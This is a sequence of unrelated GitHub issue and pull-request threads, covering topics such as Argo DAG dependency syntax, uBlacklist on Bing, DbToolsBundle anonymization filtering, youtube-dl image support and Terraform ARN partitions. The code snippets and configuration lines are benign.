ah ok, didn't spot that, thanks. How does that tie in with this link though, which lists "Outlook mobile" which lists: Outlook Mobile	27922004-5251-4030-b22d-91ecd9a37ea4"?

@HiltonGiesenow - We are checking with engineering team on the discrepancy between both the IDs. We will get back to you. Thanks!

@HiltonGiesenow - Thank you for taking the time to report this issue. As you rightly pointed out client ID for Outlook Mobile is 27922004-5251-4030-b22d-91ecd9a37ea4. Doc has been updated to reflect the same. Thank you.

great stuff. glad to help


harvester unit

Requirements:

[ ] harvester gets drawn properly on cell (it is too big, so should be centered)
[ ] harvester can move around properly

handy for reference: https://github.com/stefanhendriks/Dune-II---The-Maker/blob/d2tm_allegro/src/old/utils/common.cpp


need help for read all files

Hello
I make your ftp Docker instalation and perfect connect , but it happens to me that the volume that I map, I cannot see the files in FileZilla,  it does create a directory  with the name of my user  and this is the one that is listed in FileZilla.
I need to see the other files in that directory (volume host),  I search but cannot find a solution.

Additional info required.


feat: Enhanced depends logic

Following the proposal from https://github.com/argoproj/argo/issues/1781, implemented enhanced depends logic to allow DAG nodes to specify a conditional statement that will determine whether to run:
depends:
  and:
    - or:
      - suceeded: A
      - completed: B
    - succeeded: C

Currently has full backwards compatibility with dependencies. For example, dependencies [A, B] will be converted to:
depends:
  and:
    - successful: A
    - successful: B

Currently supported statuses and operators (click to expand)
As proposed in #1781
Task states:

succeeded
failed
skipped
completed (either succeeded or failed)
any (either skipped or completed)

To allow backwards compatibility with dependencies (the current logic) we require

successful (either succeeded or skipped or the dependency has continuesOn enabled for its current phase)

Logical operators:

and
or
not

Examples (click to expand)
Examples:
A == Succeeded && B == Succeeded (current behavior of dependencies: [A, B]):
depends:
  and:
    - succeeded: A
    - succeeded: B

A == Completed (current behavior of dependencies: [A] where A has continueOn: failed: true):
depends:
  - completed: A

 (A == Succeeded || B == Completed) && C == Succeeded (some complex behavior)
depends:
  and:
    - or:
      - succeeded: A
      - completed: B
  - succeeded: C

Full working example:
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: dag-diamond-
spec:
  entrypoint: diamond
  templates:
  - name: diamond
    dag:
      tasks:
      - name: A
        template: pass
      - name: B
        depends:
          succeeded: A
        template: pass
      - name: C
        depends:
          succeeded: A
        template: fail
      - name: should-execute-1
        depends:
          and:
           - succeeded: B
           - completed: C
        template: pass
      - name: should-execute-2
        depends:
          or:
           - succeeded: B
           - succeeded: C
        template: pass
      - name: should-not-execute
        depends:
          and:
           - succeeded: B
           - succeeded: C
        template: pass
      - name: should-execute-3
        depends:
          or:
           - succeeded: should-execute-2
           - succeeded: should-not-execute
        template: pass

  - name: pass
    container:
      image: alpine:3.7
      command: [sh, -c, "exit 0"]

  - name: fail
    container:
      image: alpine:3.7
      command: [sh, -c, "exit 1"]

Result:

This is very much a WIP. Please don't hesitate to provide any feedback.

I think would be useful for us.
Currently we have a DAG like this:
                         +---+           +---+
               +-------->+ B +---------->+ D |
               |         +---+           +---+
             +-+-+       when: x==1
calculate x  | A |
             +-+-+
               |         +---+           +---+
               +-------->+ C +---------->+ E |
                         +---+           +---+
                         when: x==2

D and E should really be one step D^, but we can't do that because we need to express the dependencies of D^ as B or C. Right now I think you can only express a list of dependencies which is always using AND logic.

@jessesuen mentioned he has some reservations about the current syntax for this. Here are some of my thoughts after exploring further.
I have currently thought of three potential syntaxes for specifying these dependencies. For all these examples I'll be using the conditional (A == Succeeded || B == Completed) && C == Succeeded.

Using the existing when syntax:
depends: "({{tasks.A.status}} == Succeeded || ({{tasks.B.status}} == Succeeded || {{tasks.B.status}} == Failed)) && {{tasks.C.status}} == Succeeded"

This is the most consistent option with existing Argo syntax, so our users could easily copy/paste strings from existing when fields. However, it is incredibly verbose (limiting readability) and would require some hard-coding to allow "composed" statuses such as Completed := Succeeded | Failed. In my opinion, this is not a good option.

Using a modified text-based syntax:
depends: "(A || B.Completed) && C"

This option is the most succinct and easiest to read and write. However, it would require the user to learn a new syntax that is not immediately obvious (in this example, a simple task name means "Succeeded": A == A.Succeeded). It would also require us to design and maintain a new syntax interpreter, which could easily become a development burden. @jessesuen had suggested this and I think this would be the best solution if the syntax for doing so was already standard and an interpreter was readily available. However, since they are not I am hesitant to go forward with this.

Using the currently proposed syntax:
depends:
  and:
    - or:
      - succeeded: A
      - completed: B
  - succeeded: C

This option is not immediately easy for a user to parse or write. However, (in my opinion) it does not require any new syntax knowledge to understand (although it might take a minute to parse). I also believe that once a user is comfortable with this syntax, it wouldn't be a burden for them to read/write them in the future. This option is also succinct enough to be easily parsed and in my opinion it would be the easiest to maintain. This example could also be unusually complicated, when in reality most could be way simpler and easier to parse. As of now, I think this would be the best way forward.

I am open to opinions and new syntax suggestions, please feel free to continue the discussion.

I completed a PoC for option 2 above and I think its implementation is viable. Closing this in favor of https://github.com/argoproj/argo/pull/2673


Scan Details

The line scan needs to be changed to do the following, if snow has been detected.

Regular line scan (what we are already doing)
150s line scan at 5 minutes past the hour.
Repeat 150s line scan every 15 min, until the next hour (i.e. 5, 20, 35, and 50 min marks)

Scanner Power Considerations:
Power on at 50 min, power off at 15 min into next hour (current settings).
Suggested change to power on at 55 min and off at 10 min.
Power on/off for each line scan during snow times, as normal?
May need to introduce new scripts to evaluate power on/ power off calls, rather than calling power on/ power off directly from the schedule.

Power on and power off control of the GPIO (and thus the scanner) has been moved into the frame and line_extended scripts.
Functionality to boot up the scanner and conduct an extended line scan has been added to the root user crontab.  The scanner will warm up for 4 minutes before responding to commands and thus jobs are triggered 4 min prior to when the user would like them to be conducted.
e.g.
#conduct a frame scan each hour, on the hour.
56 * * * * /home/mammoth/Mammoth/Scripts/Scans/frame
if it is snowing conduct extended line scans every 15 minutes
05 * * * * /home/mammoth/Mammoth/Scripts/Scans/line_extended
16 * * * * /home/mammoth/Mammoth/Scripts/Scans/line_extended
31 * * * * /home/mammoth/Mammoth/Scripts/Scans/line_extended
46 * * * * /home/mammoth/Mammoth/Scripts/Scans/line_extended
** Note the scan that takes place 5 minutes after the hour will take place immediately because the scanner is already on from the frame scan taken on the hour.


Not working on (new) Bing.com

Expected Behavior
In Bing, "Block this site" link appears somewhere near each search result to block those domains.
On other search engines (Google, DuckDuckGo) the extension works fine.
Actual Behavior
There is no "Block this site" anywhere on Bing search results.
Steps to Reproduce the Problem

Have the new Bing experience, but keep using the standard seach (not chat)
Search for something on https://www.bing.com
There's no "Block this site" anywhere

Specifications

Browser: Edge 110.0.1587.41 (Official build) (64-bit)

Other extensions/add-ons: none

Browser: Firefox 110.0 (64-bit)

Other extensions/add-ons: none

Search engine: www.bing.com
Language: English (US)
Region: UK

@maxcurzi Please wait until I have access to the new Bing; I'm still on the waitlist.
If possible, can you tell me the DOM structure of the result page as in https://github.com/iorate/ublacklist/issues/301#issuecomment-1353837819 ?

@maxcurzi Please wait until I have access to the new Bing; I'm still on the waitlist.
If possible, can you tell me the DOM structure of the result page as in #301 (comment) ?

Hi, I'm not sure how to extract this information like that comment.
I opened the dev tool (F12), in Elements right click just below  and "copy element".
But it doesn't look anything like that structure: https://gist.github.com/maxcurzi/ec4dc72afe8170199998ce7feb20c24c
Let me know if there's a better way to extact it

@iorate If it helps I noticed that the issue is there in both regular and incognito mode (with only uBlacklist active). In incognito mode I don't have access to the "new" Bing.

Thanks.
The DOM structure that you uploaded seems similar to that of the current (old) version of Bing, but it does not expose real URLs of search results, that is, links point to URLs beginning with https://www.bing.com/. Obviously such links cannot be blocked by URL.
At least, in the current version of Bing and Firefox/Edge, this behavior can be disabled by turning off "Open links in new tab". Can you change this option somewhere (in the settings page)?

It worked! Thank you so much, I'll close this issue.

For posterity: the "open links in new tab" is not in Edge's preferences, but it was specific to Bing and it's accessed here:

Turning off open in new tab still not work for me, I use Vivaldi (which by pass bing restriction on bing chat if that is still the case)
Vivaldi	6.1.3035.302 (Stable channel) (arm64)
Revision	773772e7e92bf14ad0c8f85f41e3d133d0a2b876
OS	macOS Version 13.0.1 (Build 22A400)
JavaScript	V8 <IP_ADDRESS>
User Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Command Line	/Applications/Vivaldi.app/Contents/MacOS/Vivaldi --flag-switches-begin --enable-features=ui-debug-tools --flag-switches-end --origin-trial-disabled-features=WebGPU --disable-smooth-scrolling --save-page-as-mhtml
Executable Path	/Applications/Vivaldi.app/Contents/MacOS/Vivaldi
Profile Path	/Users/knguyen/Library/Application Support/Vivaldi/Default
Linker	lld


Extract strings from script elements in PHP files

As far as I can see the extractors only support string extraction from PHP code and standalone .js files. It would be useful to extract strings from JavaScript code embedded in PHP files too.
Example test.php:
...
<script>
    console.log(wp.i18n.__e('test', 'domain'));
</script>
...

Yeah, as far as I can tell the upstream library we use does not support this. Not sure how difficult it would be to extend it. Also, it's probably not a widely common use case I think.
As a workaround, you could just use PHP:
<script>
    console.log(<?php echo esc_js( __( 'test', 'domain' ) ); ?>);
</script>

(Note that _e is not a thing in wp.i18n)

You should use the php version @swissspidy suggested, since the wp.i18n helpers require the script to be loaded with the correct wp_set_script_translations call. This requires a reference to a script file name.


Add e2e to create workflow case

Tips

Thanks very much for contributing to Apache DolphinScheduler.
Please review https://dolphinscheduler.apache.org/en-us/community/index.html before opening a pull request.

What is the purpose of the pull request
(For example: This pull request adds checkstyle plugin.)
Brief change log
(for example:)

Add maven-checkstyle-plugin to root pom.xml

Verify this pull request
(Please pick either of the following options)
This pull request is code cleanup without any test coverage.
(or)
This pull request is already covered by existing tests, such as (please describe tests).
(or)
This change added tests and can be verified as follows:
(example:)

Added dolphinscheduler-dao tests for end-to-end.
Added CronUtilsTest to verify the change.
Manually verified the change by testing locally.

Codecov Report

Merging #2027 into dev will decrease coverage by 0.02%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##                dev    #2027      +/-   ##
============================================
- Coverage     31.98%   31.96%   -0.03%
+ Complexity     1512     1511       -1
============================================
  Files           311      311
  Lines         15402    15402
  Branches       1864     1864
============================================
- Hits           4927     4923       -4
- Misses         9966     9968       +2
- Partials        509      511       +2

Impacted Files
Coverage Δ
Complexity Δ

...he/dolphinscheduler/common/thread/ThreadUtils.java
71.18% <0%> (-6.78%)
12% <0%> (-1%)

...scheduler/alert/template/AlertTemplateFactory.java
42.85% <0%> (ø)
2% <0%> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cea59ad...3a7836a. Read the comment docs.


Update documentation (ToC and ET images / links)

Overview
This PR removes TODO links that were added in #4074, per https://github.com/Microsoft/MixedRealityToolkit-Unity/pull/4074#discussion_r279567577.
This also removes the link under Service Provider, as it led to a more generic guide. This link will be re-added when the Service Provider guide is published.
This also corrects some paths in the ET documentation that were leading to broken links on the GitHub.io page.
Changes

Fixes: #4163, fixes #4186

/azp run mrtk_docs


Filtering

Is it possible to apply the anonymization to a specific set of entities? I would like to only anonymize entities which have a deletedAt timestamp greater or equal to now or filter them by specifying a list of ids.
Use case: running a daily anonymize command on my production database to mask deleted entities

For now, it's not easy to do at all.
But what you ask for is a bit linked to what's asked in #136.
We'll definitively think about adding this kind of feature in the future.

I do something similar but to avoid anonymizing our user accounts.
I extended the email anonymizer by simply adding these instructions after the anonymize method:
public function anonymize(Update $update): void
{
    parent::anonymize($update);

    $where = $update->getWhere();
    $where
        ->isNotLike($expr::column($this->columnName, $this->tableName<EMAIL_ADDRESS>        ->isNotLike($expr::column($this->columnName, $this->tableName<EMAIL_ADDRESS>    ;
}

But these only apply to the column, not the entire row. In my case it's still ok.
I haven't done any more research, but a PHP Attribute on the entity could be added to apply a where on the row ?
Something like :
#[Where(
   operator: WHERE::AND
    raw: [
        new Not(new Like('email'<EMAIL_ADDRESS>true)),
        new Not(new Like('email'<EMAIL_ADDRESS>true)),
    ]
)]

Well, this tool wasn't design with this use case in mind.
There's a easy for us solution, that would require some code on your side, which is to add the Symfony event dispatcher injection in the anonymizator, create a few event classes (before update, after update, etc...), so you could alter the query at the right moment.
Although you should read my comment there https://github.com/makinacorpus/DbToolsBundle/issues/136#issuecomment-2072345062 which explains why this is not a feature right now.

@maxhelias we discussed it internally and I opened https://github.com/makinacorpus/DbToolsBundle/issues/171 for your own use case, it seems legit in the end.
@bertdk but regarding this original issue topic, altering production data using this API directly into your production database is not a use case we intend to support. May be that in the future some new features may help you in doing that. Nevertheless, it's a non goal for us.


Add linebreak-style rule based on process.platform for windows/unix

this gets skipped entirely,
before:
pawjs lint

Linting with eslint...
Config path: H:\Sviluppo\react-pwa\.eslintrc

after:
pawjs lint

Linting with eslint...
Config path<EMAIL_ADDRESS>

@santalucial Thanks for your input.
I have already made a PR for PawJS in order for this PR to work.


Images & GIFs

Youtube-dl is a powerful and useful tool, not only for downloads but watch online content (example via MPV or SMplayer).
It would be great if in addition to videos we could view online pictures and GIFs too (the whole package).
I know some programs like JDownloader can download all but it doesn't work for view online content through video-players like MPV or SMplayer.

That's been asked before and they 100% refuse cuz to them it's outta scope.
Try gallery-dl instead. It can optionally delegate to youtube-dl when the latter already has support for the content.

I often don't agree with the youtube-dl maintainers an rejecting feature requests, but this is one thing I totally agree on. To enable image/gif downloading, large parts of the core program will need to be altered. It is much better to use a seperate program like gallery-dl that specializes in image downloads

To enable image/gif downloading, large parts of the core program will need to be altered.

I'm not sure I agree with that. Like, ytdl already uses OAuth (although in a roundabout way: instead of using the protocol, ytdl interprets JSON's and manually constructs the queries) for sites which require it, and to me the infrastructure looks like it could easily accommodate new extractors or updates to existing ones to support pics.
If anything, if Selenium and xpaths (and by extension Requests, which Selenium depends on) were to be used, then shit would change (1 glaring diff would be needing to install packages, which ytdl's tried to avoid no matter the cost), but existing already working extractors wouldn't need porting (unless Selenium would be the only method). However, until Selenium 4 for Python comes out, support stops at 3.6.
^ YT itself's something like a miracle or black magic: a lot of code was needed, but Google was providing the access if you knew where to look. Last I checked, 99% of the other extractors are tiny by comparison.

Like, ytdl already uses OAuth (although in a roundabout way: instead of using the protocol, ytdl interprets JSON's and manually constructs the queries) for sites which require it, and to me the infrastructure looks like it could easily accommodate new extractors or updates to existing ones to support pics.

Yes, a lot of the code can be reused. But my point is that the core of the program (the YoutubeDl module itself, not the extractors/downloaders) are designed with video downloads in mind.

YT itself's something like a miracle or black magic: a lot of code was needed, but Google was providing the access if you knew where to look. Last I checked, 99% of the other extractors are tiny by comparison.

It is mostly because the youtube webpage itself is very complex. Nowadays, the youtube extractor has actually simplified quite a bit since most of the data is now extracted from inside ytInitialPlayerResponse and ytInitialData objects instead of having to regex them from the whole webpage

@rautamiekka and @pukkandan:
The idea is not to download a gallery of pictures (in this case I would use JDownloader). I will explain again, some sites on the Internet have content mixed with videos, pictures and GIFs, if I want to watch them online (streaming) through players that use youtube-dl such as MPV or SMplayer, the player only gets and shows the videos that are found on the site and ignores photos and GIFs, the idea is that the player shows everything.

Example? Also, does any player even support this kind of playback?

Example? Also, does any player even support this kind of playback?

All players can handle pictures and GIFs. Drag and drop a picture or GIF from your computer to your player and it show it.
Even you can put a link from de Internet (link of image or GIF) into your player and it show it.

content mixed with videos, pictures and GIFs,

You weren't talking about individual pictures though. Am I misunderstanding something? It also doesn't help that you are not giving examples

You weren't talking about individual pictures though. Am I misunderstanding something? It also doesn't help that you are not giving examples

Could you explain me exactly what kind of example?


Migration to null safety

@benyaminbeyzaie  please check this plugin, which is a continuation of this one. It supports Dart null safety.


README.md typos?: prompt_name_preexec vs. prompt_name_precmd

In ~/.zprezto/modules/{editor git node python ruby}/README.md
Please accept my apologies if this shouldn't be submitted as an issue (I'm still more than a little green), but I've been ferociously confused by instructions to add hooks to the prompt_name_preexec function, as all of the examples that I looked at call prompt_name_precmd in a file likewise named 'prompt_name_precmd'.
Is this a typo? I could see it being the case that prompt_name_preexec is a kind of function, and people have consistently chosen to define it as prompt_name_precmd.

@wem3 Did you ever find where the prompt_name_preexec function was?

s/name/name_of_theme/g

I don't understand what you're saying. Would you please explain?
I can't find the hook function prompt_name_preexec in order to call python_info, as seen here in the final step:

Any help would be appreciated.

Replace name with the name of the theme, for example prompt_sorin_preexec.

That's not where I'm confused. There is no function named prompt_sorin_preexec in the prompt_sorin_setup file.
As @wem3 mentioned, there is a prompt_name_precmd.

You just define it. It's called by the prompt system.


connect directly to cloud endpoints by default

The sensible default for cloud endpoints should be to connect directly versus adding latency to cloud api calls by proxying into the guest cluster (and hitting failure states depending on the firewall rules within the guest cluster environment).

What this PR does / why we need it:
Which issue(s) this PR fixes (optional, use fixes #<issue_number>(, fixes #<issue_number>, ...) format, where issue_number might be a GitHub issue, or a Jira story:
Fixes #
Checklist

[ ] Subject and description added to both, commit and PR.
[ ] Relevant issues have been referenced.
[ ] This change includes docs.
[ ] This change includes unit tests.

/retest


use partition data source for arn formatting

what

Use aws_partition data source to construct ARNs.

why

This is required for govcloud users since govcloud uses a different IAM partition

@aknysh  Done. Note that make readme successfully exited but just didn't seem to make any readme updates. But it was run.

/codefresh run test

/rebuild-readme

/codefresh run test

@aknysh this seems to be failing due to issues setting up the test harness unrelated to the code changes

@aknysh  any update on this? the build seems to be failing setting up the build harness

/rebuild-readme